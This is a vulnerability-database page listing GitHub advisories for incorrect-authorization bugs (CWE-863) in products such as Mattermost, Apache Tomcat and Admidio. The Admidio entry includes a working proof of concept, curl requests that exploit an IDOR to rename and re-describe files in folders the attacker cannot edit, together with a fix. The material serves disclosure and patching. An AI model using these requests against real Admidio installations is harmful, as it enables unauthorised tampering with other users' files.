Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5548 vulnerabilities reference this CWE, most recent first.

GHSA-Q6P4-2Q7C-4VW7

Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07
VLAI
Details

Improper authorization in handler for custom URL scheme vulnerability in GU App for Android versions from 4.8.0 to 5.0.2 allows a remote attacker to lead a user to access an arbitrary website via the vulnerable App.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20777"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-07T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper authorization in handler for custom URL scheme vulnerability in GU App for Android versions from 4.8.0 to 5.0.2 allows a remote attacker to lead a user to access an arbitrary website via the vulnerable App.",
  "id": "GHSA-q6p4-2q7c-4vw7",
  "modified": "2022-05-24T19:07:09Z",
  "published": "2022-05-24T19:07:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20777"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN25850723/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q6PH-8227-6M8X

Vulnerability from github – Published: 2026-03-16 21:34 – Updated: 2026-03-16 21:34
VLAI
Details

Mattermost versions 10.11.x <= 10.11.10 fail to properly validate permission requirements in the team member roles API endpoint which allows team administrators to demote members to guest role. Mattermost Advisory ID: MMSA-2025-00531

Severity
3.8 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-26230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-16T21:16:33Z",
    "severity": "LOW"
  },
  "details": "Mattermost versions 10.11.x \u003c= 10.11.10 fail to properly validate permission requirements in the team member roles API endpoint which allows team administrators to demote members to guest role. Mattermost Advisory ID: MMSA-2025-00531",
  "id": "GHSA-q6ph-8227-6m8x",
  "modified": "2026-03-16T21:34:33Z",
  "published": "2026-03-16T21:34:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26230"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q6W3-HPFV-RG36

Vulnerability from github – Published: 2026-05-29 22:05 – Updated: 2026-05-29 22:05
VLAI
Summary
Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders
Details

Summary

modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level check binds to URL folder_uuid:

if ($getMode != 'list' && $getMode != 'download') {
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);
    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
}

src/Documents/Service/DocumentsService.php:272-315 — renameFile() resolves the file via getFileForDownload() (view-only) and never re-verifies upload right on the file's parent:

public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);                          // <-- view rights, not upload
    ...
    $oldFile = $file->getFullFilePath();
    $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);
    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '/';
    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);

    $file->setValue('fil_name', $newFile);
    $file->setValue('fil_description', $newDescription);
    $file->save();
    ...
}

getFileForDownload() enforces only the download (read) ACL on the file's folder. There is no hasUploadRight() check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.

Exploitation Primitive

  1. Attacker user lowuser holds folder_upload on public_uploadable (UUID c41a99c0-…). They have view (download) rights on view_only_public (UUID 21b417e2-…, fol_public=1) but no upload/edit right there. The folder contains admin_announcement.txt (UUID aaae5edd-…).
  2. Render the rename form with a folder_uuid of a folder lowuser CAN upload to and a file_uuid of the target file: GET /modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… The top-level rights check at line 85 sees the public-uploadable folder and passes.
  3. Submit rename: POST /modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… with adm_csrf_token=<from step 2>, adm_new_name=hijacked_announcement, adm_new_description=Hijacked!. Server replies {"status":"success"}. adm_files: fil_fol_id=7 (still the original view_only_public), fil_name='hijacked_announcement.txt', fil_description='Hijacked!'. On disk: admin_announcement.txt is renamed to hijacked_announcement.txt in its original folder.

PoC

Captured live against HEAD c5cde53 (mariadb on 127.0.0.1:3399, php on 127.0.0.1:8085):

$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…"
# form rendered, CSRF token X added to session

$ curl -sb $cookie -X POST \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…" \
    -d "adm_csrf_token=X&adm_new_name=hijacked_announcement&adm_new_description=Hijacked%21"
{"status":"success", …}

$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p… admidio \
    -e "SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid='aaae5edd-…';"
fil_fol_id  fil_name                       fil_description
7           hijacked_announcement.txt      Hijacked!

The folder ID fil_fol_id=7 is view_only_public — the folder that lowuser had no upload right on. The change was applied as if lowuser were authorised.

Impact

A user with the most basic Documents permission — upload to a single folder — can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:

  • Defacement of public announcements / policies / circulars. A regular member can replace admin_announcement.txt with hijacked_announcement.txt and a description that misrepresents the content. Other readers see the malicious metadata.
  • Renaming-to-confuse. Files can be renamed to identifiers that imply different content (board_minutes_2025-Q4.pdf → board_minutes_DRAFT-do-not-distribute.pdf).
  • Description-as-XSS-vector (downstream): if any view path treats fil_description as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.

The CVSS reflects: PR:L (uploader on any folder), S:U (stays inside Admidio's authorisation model), C:N because the actor already had read access, I:H because the file's identity is changed for every other reader, A:N because files are not deleted.

Recommended Fix

DocumentsService::renameFile() must check upload right on the file's source folder before mutating it:

// src/Documents/Service/DocumentsService.php
public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);

    // verify the current user has upload (write) right on the file's parent folder,
    // not just download right (which getFileForDownload enforces)
    $sourceFolder = new Folder($this->db);
    $sourceFolder->readData($file->getValue('fil_fol_id'));
    if (!$sourceFolder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
    ...
}

Equivalently, in modules/documents-files.php case 'file_rename_save', resolve the file's parent folder and check hasUploadRight() against it before calling the service. The same fix should be applied to other documents-files modes that take a file_uuid independently of folder_uuid.

Related

This bug shares its root cause with 05-documents-cross-folder-move-idor.md — both flow from the top-level rights check at lines 79-89 binding to URL folder_uuid rather than the actual file's parent. A single fix to enforce source-folder upload right inside File::moveToFolder() and DocumentsService::renameFile() (and any other operations on file_uuid) closes both.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:05:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`modules/documents-files.php` mode `file_rename_save` shares the same root-cause shape as the cross-folder move bug (`05-documents-cross-folder-move-idor.md`): the top-level rights check at lines 79-89 validates `hasUploadRight()` on the URL parameter `folder_uuid`, but the rename operation acts on `file_uuid` \u2014 a separate URL parameter \u2014 without re-checking the folder that actually contains the file. `DocumentsService::renameFile()` resolves the target file via `getFileForDownload()` (which permits view-readable files) but does not require upload right on the file\u0027s source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file\u0027s description.\n\n## Details\n\n### Vulnerable Code\n\n`modules/documents-files.php:79-89` \u2014 top-level check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != \u0027list\u0027 \u0026\u0026 $getMode != \u0027download\u0027) {\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n    }\n}\n```\n\n`src/Documents/Service/DocumentsService.php:272-315` \u2014 `renameFile()` resolves the file via `getFileForDownload()` (view-only) and never re-verifies upload right on the file\u0027s parent:\n\n```php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n    $file = new File($this-\u003edb);\n    $file-\u003egetFileForDownload($fileUUID);                          // \u003c-- view rights, not upload\n    ...\n    $oldFile = $file-\u003egetFullFilePath();\n    $newFile = $newName . \u0027.\u0027 . pathinfo($oldFile, PATHINFO_EXTENSION);\n    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . \u0027/\u0027;\n    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);\n\n    $file-\u003esetValue(\u0027fil_name\u0027, $newFile);\n    $file-\u003esetValue(\u0027fil_description\u0027, $newDescription);\n    $file-\u003esave();\n    ...\n}\n```\n\n`getFileForDownload()` enforces only the *download* (read) ACL on the file\u0027s folder. There is no `hasUploadRight()` check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on `public_uploadable` (UUID `c41a99c0-\u2026`). They have *view* (download) rights on `view_only_public` (UUID `21b417e2-\u2026`, `fol_public=1`) but no upload/edit right there. The folder contains `admin_announcement.txt` (UUID `aaae5edd-\u2026`).\n2. Render the rename form with a `folder_uuid` of a folder lowuser CAN upload to and a `file_uuid` of the target file:\n   `GET /modules/documents-files.php?mode=file_rename\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026`\n   The top-level rights check at line 85 sees the public-uploadable folder and passes.\n3. Submit rename:\n   `POST /modules/documents-files.php?mode=file_rename_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026` with `adm_csrf_token=\u003cfrom step 2\u003e`, `adm_new_name=hijacked_announcement`, `adm_new_description=Hijacked!`.\n   Server replies `{\"status\":\"success\"}`. `adm_files`: `fil_fol_id=7` (still the original `view_only_public`), `fil_name=\u0027hijacked_announcement.txt\u0027`, `fil_description=\u0027Hijacked!\u0027`. On disk: `admin_announcement.txt` is renamed to `hijacked_announcement.txt` in its original folder.\n\n## PoC\n\nCaptured live against HEAD `c5cde53` (mariadb on `127.0.0.1:3399`, php on `127.0.0.1:8085`):\n\n```\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026\"\n# form rendered, CSRF token X added to session\n\n$ curl -sb $cookie -X POST \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save\u0026folder_uuid=c41a99c0-\u2026\u0026file_uuid=aaae5edd-\u2026\" \\\n    -d \"adm_csrf_token=X\u0026adm_new_name=hijacked_announcement\u0026adm_new_description=Hijacked%21\"\n{\"status\":\"success\", \u2026}\n\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p\u2026 admidio \\\n    -e \"SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid=\u0027aaae5edd-\u2026\u0027;\"\nfil_fol_id  fil_name                       fil_description\n7           hijacked_announcement.txt      Hijacked!\n```\n\nThe folder ID `fil_fol_id=7` is `view_only_public` \u2014 the folder that `lowuser` had no upload right on. The change was applied as if `lowuser` were authorised.\n\n## Impact\n\nA user with the most basic Documents permission \u2014 upload to a single folder \u2014 can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:\n\n* **Defacement of public announcements / policies / circulars.** A regular member can replace `admin_announcement.txt` with `hijacked_announcement.txt` and a description that misrepresents the content. Other readers see the malicious metadata.\n* **Renaming-to-confuse.** Files can be renamed to identifiers that imply different content (`board_minutes_2025-Q4.pdf` \u2192 `board_minutes_DRAFT-do-not-distribute.pdf`).\n* **Description-as-XSS-vector** (downstream): if any view path treats `fil_description` as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.\n\nThe CVSS reflects: `PR:L` (uploader on any folder), `S:U` (stays inside Admidio\u0027s authorisation model), `C:N` because the actor already had read access, `I:H` because the file\u0027s identity is changed for every other reader, `A:N` because files are not deleted.\n\n## Recommended Fix\n\n`DocumentsService::renameFile()` must check upload right on the file\u0027s source folder before mutating it:\n\n```php\n// src/Documents/Service/DocumentsService.php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n    $file = new File($this-\u003edb);\n    $file-\u003egetFileForDownload($fileUUID);\n\n    // verify the current user has upload (write) right on the file\u0027s parent folder,\n    // not just download right (which getFileForDownload enforces)\n    $sourceFolder = new Folder($this-\u003edb);\n    $sourceFolder-\u003ereadData($file-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$sourceFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n    ...\n}\n```\n\nEquivalently, in `modules/documents-files.php` `case \u0027file_rename_save\u0027`, resolve the file\u0027s parent folder and check `hasUploadRight()` against it before calling the service. The same fix should be applied to other documents-files modes that take a `file_uuid` independently of `folder_uuid`.\n\n## Related\n\nThis bug shares its root cause with `05-documents-cross-folder-move-idor.md` \u2014 both flow from the top-level rights check at lines 79-89 binding to URL `folder_uuid` rather than the actual file\u0027s parent. A single fix to enforce source-folder upload right inside `File::moveToFolder()` and `DocumentsService::renameFile()` (and any other operations on file_uuid) closes both.",
  "id": "GHSA-q6w3-hpfv-rg36",
  "modified": "2026-05-29T22:05:47Z",
  "published": "2026-05-29T22:05:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-q6w3-hpfv-rg36"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders"
}

GHSA-Q6X7-F33R-3WXX

Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2024-02-23 16:16
VLAI
Summary
Incorrect Authorization in Apache Tomcat
Details

The ResourceLinkFactory implementation in Apache Tomcat 9.0.0.M1 to 9.0.0.M9, 8.5.0 to 8.5.4, 8.0.0.RC1 to 8.0.36, 7.0.0 to 7.0.70 and 6.0.0 to 6.0.45 did not limit web application access to global JNDI resources to those resources explicitly linked to the web application. Therefore, it was possible for a web application to access any global JNDI resource whether an explicit ResourceLink had been configured or not.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.0.M9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0.M1"
            },
            {
              "fixed": "9.0.0.M10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.5.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.5.0"
            },
            {
              "fixed": "8.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.36"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.72"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-6797"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-06T19:45:35Z",
    "nvd_published_at": "2017-08-10T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "The ResourceLinkFactory implementation in Apache Tomcat 9.0.0.M1 to 9.0.0.M9, 8.5.0 to 8.5.4, 8.0.0.RC1 to 8.0.36, 7.0.0 to 7.0.70 and 6.0.0 to 6.0.45 did not limit web application access to global JNDI resources to those resources explicitly linked to the web application. Therefore, it was possible for a web application to access any global JNDI resource whether an explicit ResourceLink had been configured or not.",
  "id": "GHSA-q6x7-f33r-3wxx",
  "modified": "2024-02-23T16:16:51Z",
  "published": "2022-05-13T01:02:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6797"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/2859ac3eae132383cb6f3f2042e25d7a4a281b0d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/b3406e6c318378cbf440f902f9fdbb8b440aef4e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/d6b5600afe75e1086dd564344e1d085966e4237d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat80/commit/824c7dc781056442046db0ae34bcf1497f23f44c"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/9325837eb00cba5752c092047433c7f0415134d16e7f391447ff4352%40%3Cannounce.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/9325837eb00cba5752c092047433c7f0415134d16e7f391447ff4352@%3Cannounce.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/b5e3f51d28cd5d9b1809f56594f2cf63dcd6a90429e16ea9f83bbedc%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/b5e3f51d28cd5d9b1809f56594f2cf63dcd6a90429e16ea9f83bbedc@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/b84ad1258a89de5c9c853c7f2d3ad77e5b8b2930be9e132d5cef6b95%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/b84ad1258a89de5c9c853c7f2d3ad77e5b8b2930be9e132d5cef6b95@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/b8a1bf18155b552dcf9a928ba808cbadad84c236d85eab3033662cfb%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/b8a1bf18155b552dcf9a928ba808cbadad84c236d85eab3033662cfb@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r03c597a64de790ba42c167efacfa23300c3d6c9fe589ab87fe02859c%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r03c597a64de790ba42c167efacfa23300c3d6c9fe589ab87fe02859c@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r587e50b86c1a96ee301f751d50294072d142fd6dc08a8987ae9f3a9b%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r587e50b86c1a96ee301f751d50294072d142fd6dc08a8987ae9f3a9b@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20180605-0001"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4557-1"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20170320064509/http://www.securitytracker.com/id/1037145"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20170423095945/http://www.securityfocus.com/bid/93940"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:0455"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:0456"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2247"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/tomcat"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/37220405a377c0182d2afdbc36461c4783b2930fbeae3a17f1333113%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/37220405a377c0182d2afdbc36461c4783b2930fbeae3a17f1333113@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/388a323769f1dff84c9ec905455aa73fbcb20338e3c7eb131457f708%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/388a323769f1dff84c9ec905455aa73fbcb20338e3c7eb131457f708@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/39ae1f0bd5867c15755a6f959b271ade1aea04ccdc3b2e639dcd903b%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/39ae1f0bd5867c15755a6f959b271ade1aea04ccdc3b2e639dcd903b@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/3d19773b4cf0377db62d1e9328bf9160bf1819f04f988315086931d7%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/3d19773b4cf0377db62d1e9328bf9160bf1819f04f988315086931d7@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/6af47120905aa7d8fe12f42e8ff2284fb338ba141d3b77b8c7cb61b3%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/6af47120905aa7d8fe12f42e8ff2284fb338ba141d3b77b8c7cb61b3@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/845312a10aabbe2c499fca94003881d2c79fc993d85f34c1f5c77424%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/845312a10aabbe2c499fca94003881d2c79fc993d85f34c1f5c77424@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/88855876c33f2f9c532ffb75bfee570ccf0b17ffa77493745af9a17a%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/88855876c33f2f9c532ffb75bfee570ccf0b17ffa77493745af9a17a@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2017-0457.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3720"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incorrect Authorization in Apache Tomcat"
}

GHSA-Q6X9-WMF8-G847

Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-07-13 00:01
VLAI
Details

Improper access control vulnerability in DAP-1880AC firmware version 1.21 and earlier allows a remote authenticated attacker to bypass access restriction and to start a telnet service via unspecified vectors.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20694"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-26T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper access control vulnerability in DAP-1880AC firmware version 1.21 and earlier allows a remote authenticated attacker to bypass access restriction and to start a telnet service via unspecified vectors.",
  "id": "GHSA-q6x9-wmf8-g847",
  "modified": "2022-07-13T00:01:05Z",
  "published": "2022-05-24T17:48:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20694"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU92898656/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink-jp.com/support/release/jvnvu92898656_dap-1880ac.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q745-Q679-HH85

Vulnerability from github – Published: 2022-02-11 00:00 – Updated: 2022-07-13 00:01
VLAI
Details

There is an unauthorized rewriting vulnerability with the memory access management module on ACPU.Successful exploitation of this vulnerability may affect service confidentiality.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-39986"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-09T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "There is an unauthorized rewriting vulnerability with the memory access management module on ACPU.Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-q745-q679-hh85",
  "modified": "2022-07-13T00:01:39Z",
  "published": "2022-02-11T00:00:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39986"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2022/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
